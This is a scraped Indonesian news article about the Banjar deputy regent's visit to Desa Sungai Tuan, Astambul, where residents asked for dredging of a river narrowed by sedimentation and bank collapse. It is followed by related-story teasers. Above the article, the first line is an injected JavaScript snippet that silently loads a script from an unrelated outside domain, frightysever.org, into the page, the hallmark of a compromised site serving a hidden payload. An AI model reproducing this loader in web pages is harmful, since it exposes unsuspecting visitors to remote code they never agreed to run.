(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Kondisi sungai di Desa Sungai Tuan, Kecamatan Astambul kian memprihatinkan. Pendangkalan akibat sedimentasi tanah bercampur sampah, menjadi yang paling kasat mata terlihat di sepanjang sungai yang terhubung dengan Sungai Riam Kiwa ini.
Pendangkalan yang juga diakibatkan terkikisnya tanah pada bagian tepi sungai, membuat lebar sungai yang dahulu mencapai 10 meter ini menciut. Lebar sungai saat ini dipastikan tak lebih dari 5 meter atau separo dari lebar sungai dahulu.
Untuk mengetahui kondisi terkini sungai, sekaligus menyerap aspirasi dan keluh-keluh kesah warga yang bermukim tak jauh dari bantaran sungai, Wakil Bupati Banjar H Saidi Mansyur bertandang ke Desa Sungai Tuan, Senin (23/10).
Tak sekadar melihat dari kejauhan, orang nomor dua di Bumi Serambi Mekkah mengamati kondisi sungai dari dengan turun batang -rakit yang terbuat dari bambu atau kayu yang juga difungsikan sebagai jamban apung-.
Sembari berbincang dengan sejumlah warga yang tampak tak canggung menyampaikan kondisi sungai tuan yang sudah sangat memprihatinkan. Terlontar dalam perbincangan tersebut, harapan warga agar sungai segera dinormalisasi. Pasalnya, pendangkalan sungai selama ini banyak berdampak buruk. Tak terkecuali banjir yang rutin terjadi saban musim penghujan akibat dangkalnya sungai.
Warga juga berharap, agar sungai tak lekas dangkal akibat tebing sungai yang longsor akibat tergerus arus air, selaian normalisasi sungai juga dilakukan penyiringan sebagai penahan tebing sungai agar ambrol.
Melihat langsung kondisi sungai dan menangkap aspirasi warga, H. Saidi Mansyur mengatakan, akan segera membahasnya untuk mencari solusi terbaik permasalahan tersebut. Tak hanya normalisasi, tapi juga agar tebing sungai tak ambrol lagi.
Rampung dengan perencanaan, ujarnya, hasilnya akan disosialisasikan kepada seluruh warga masayarakat. Sosialisasi sebelum dilaksanakan normalisasi penting dilakukan demi kelancaran pelaksanaan pekerjaan. Karena apa yang dilakukan pemerintah, tidak akan berjalan baik tanpa dukungan masyarakat.
Normalisasi sungai yang diapit dua desa di Kecamatan Astambul ini, menjadi hal yang sebenarnya tak dapat ditunda-tunda lagi. Mengingat kondisi sungai yang memang sudah sangat dangkal dan memprihatinkan. Dari lebar sungai yang dahulu 10 meter, menjadi 5 meter saja.
“Akan kami bikin perencanaan yang matang agar aliran sungaikembali lancar dan tebing sungai tak longsor lagi,†kata H Saidi Mansyur disambut senyum sumirangah warga yang berharap hal itu segera terlaksana. (rudiyanto/adv)
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
This website uses cookies.